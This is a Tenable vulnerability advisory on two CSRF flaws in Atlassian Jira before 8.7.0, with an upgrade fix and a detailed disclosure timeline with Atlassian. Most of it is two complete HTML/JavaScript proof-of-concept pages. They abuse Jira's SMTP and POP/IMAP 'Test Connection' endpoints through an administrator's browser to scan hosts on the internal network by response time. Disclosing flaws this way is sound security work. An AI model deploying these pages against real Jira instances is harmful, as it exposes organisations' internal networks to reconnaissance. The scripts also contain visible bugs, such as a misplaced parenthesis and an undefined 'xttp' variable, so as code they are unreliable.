Facebook Google Plus Twitter LinkedIn YouTube RSS Menu Search Resource - BlogResource - WebinarResource - ReportResource - Eventicons_066 icons_067icons_068icons_069icons_070

Atlassian Jira Multiple CSRF

Medium

Synopsis

Tenable has discovered a couple of CSRF issues in Atlassian Jira before version 8.7.0

CVE-2019-20098: CSRF via SMTP Server Connection Testing

When configuring an SMTP Server Connection, the “Test Connection” functionality does not properly validate the referrer or atl_token attributes. This allows for a CSRF that could enumerate hosts available to the JIRA server. Our researcher created a host discovery web page as a proof of concept.

 <html>
  <head>
    <meta name="referrer" content="no-referrer">
  </head>
  <body>
    <h2>CSRF Host Discovery Scanner via the SMTP Server</h2>
    <p><button onclick="startScan()">scan</button>
    <br>
    <textarea id="textarea" rows=34 cols=50></textarea>
    <script>
      function startScan() {
        document.getElementById("textarea".value="");
        scan(220, 250, 25);
      }
      function scan(ip1, ip2, port) {
        var timer = 0;
        var xhttp = new XMLHttpRequest();
        xhttp.onreadystatechange = function() {
          if (xhttp.readyState == 1) {
            timer = Date.now();
          }
          else if (xhttp.readyState == 4) {
            timer = Date.now() - timer;
            document.getElementById("textarea").value += "\nip: " + scanIp + " \tResponse time: " + timer + "ms";
            if (ip1 < ip2) {
              scan(ip1 + 1, ip2, port);
            }
          }
          else {
            document.getElementById("textarea").value += "\nip: " + scanIp + "\tReadyState = " + xttp.readyState + "\n";
          }
        }
        var scanIp = "[ip_address_minus_lower_octet]" + ip1.toString();
        data = "name=bob&description=desc&from=bob%40email.com&prefix=prefix&protocol=smtp&serverName=" + scanIp
             + "&port=" + port.toString() + "&timeout=10000&username=&password=&jndiLocation=&id=10000&type=smtp";
        xhttp.open("POST", "http://[ipaddress]:8080/secure/admin/VerifySmtpServerConnection!update.jspa", true);
        xhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
        xhttp.withCredentials = true;
        xhttp.send(data);
      }
    </script>
  </body>
</html>

This code generates a request to the Jira server to verify the SMTP server connection for a range of IP addresses. The script times the delay between the readyState transition from 1 to 4, and posts it on a textArea on the web page. When completed, this page will show a list of hosts and their response times. Hosts that timeout or take too long to respond are considered down, whereas existing hosts will respond relatively quickly. In our testing, we’ve found this tool to be reliable and consistent with other host enumeration tools such as nmap.

CVE-2019-20099: CSRF via POP / IMAP Mail Connection Testing

Similar to the above, a CSRF exists in the Test Connection functionality available when creating POP and IMAP connections. The following script was created to demonstrate this flaw:

<html>
  <head>
    <meta name="referrer" content="no-referrer">
  </head>
  <body>
    <h2>CSRF Host Discovery Scanner via the POP3 Server</h2>
    <p><button onclick="startScan()">scan</button>
    <br>
    <textarea id="textarea" rows=34 cols=50></textarea>
    <script>
      function startScan() {
        document.getElementById("textarea".value="");
        scan(220, 250, 110);
      }
      function scan(ip1, ip2, port) {
        var timer = 0;
        var xhttp = new XMLHttpRequest();
        xhttp.onreadystatechange = function() {
          if (xhttp.readyState == 1) {
            timer = Date.now();
          }
          else if (xhttp.readyState == 4) {
            timer = Date.now() - timer;
            document.getElementById("textarea").value += "\nip: " + scanIp + " \tResponse time: " + timer + "ms";
            if (ip1 < ip2) {
              scan(ip1 + 1, ip2, port);
            }
          }
          else {
              document.getElementById("textarea").value += "readyState = " + xttp.readyState + "\n";
            }
        }
        var scanIp = "[ipaddress_without_lower_octet]" + ip1.toString();
        data = "name=u&description=u&serviceProvider=custom&protocol=pop3&serverName=" + scanIp + "&port=" + port.toString()
             + "&timeout=10000&username=admin&changePassword=true&password=test123&type=pop";
        xhttp.open("POST", "http://[ipaddress]:8080/secure/admin/VerifyPopServerConnection!add.jspa", true);
        xhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
        xhttp.withCredentials = true;
        xhttp.send(data);
      }
    </script>
  </body>
</html>

Solution

Upgrade to 8.7.0 or above

Disclosure Timeline

October 15, 2019 - Tenable reaches out to Atlassian for dedicated security contact.
October 15, 2019 - Automated response from Atlassian Support.
October 15, 2019 - Atlassian states that they've forwarded the inquiry to their security team.
October 16, 2019 - Atlassian forwards us to BugCrowd.
October 16, 2019 - Tenable explains why that is insufficient.
October 16, 2019 - Atlassian asks us to submit a support ticket.
October 16, 2019 - Atlassian provides a security contact.
October 28, 2019 - Tenable discloses issues. (Jan 28 marks 90 days)
October 28, 2019 - Atlassian sends an automated acknowledgment. Assigned SEC-2250.
October 28, 2019 - Atlassian rejects 2 issues, provides tracking number for other 2 issues.
October 30, 2019 - Tenable follows up.
November 14, 2019 - Tenable requests status update.
December 7, 2019 - Tenable requests status update.
December 9, 2019 - Atlassian closes ticket and marks as resolved with no explanation.
December 9, 2019 - Tenable requests status update and reminds Atlassian of our disclosure policy.
December 17, 2019 - Tenable makes inquiry to Atlassian Head of Security.
December 17, 2019 - Atlassian Head of Security responds and copies Product Manager on message.
December 18, 2019 - Atlassian Product Manager responds and copies Product Security Manager on message.
December 21, 2019 - Atlassian Product Security Manager responds with additional triage information.
January 6, 2020 - Tenable acknowledges responses and requests status update.
January 8, 2020 - Atlassian assigns CVEs.
January 9, 2020 - Atlassian requests extension to March.
January 9, 2020 - Tenable denies request.
January 9, 2020 - Atlassian states they won't be able to meet deadline.
January 27, 2020 - Atlassian requests extension to Feb. 17.
January 28, 2020 - Atlassian states they can patch by Feb. 3.
January 28, 2020 - Tenable grants 2-week extension.
February 3, 2020 - Tenable reaches out to Atlassian to see if patch is included in latest Jira release.
February 3, 2020 - Atlassian acknowledges the patches were included.

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]

Risk Information

Tenable Advisory ID: TRA-2020-05
Credit:
Alex Peña
CVSSv2 Base / Temporal Score:
4.6 / 3.8
CVSSv2 Vector:
AV:N/AC:H/Au:S/C:P/I:P/A:P
Affected Products:
Atlassian Jira before 8.7.0
Risk Factor:
Medium
Additional Keywords:
SEC-2250
JRASERVER-70427
JRASERVER-70428

Advisory Timeline

February 3, 2020 - Initial release
February 19, 2020 - Fixed a few typos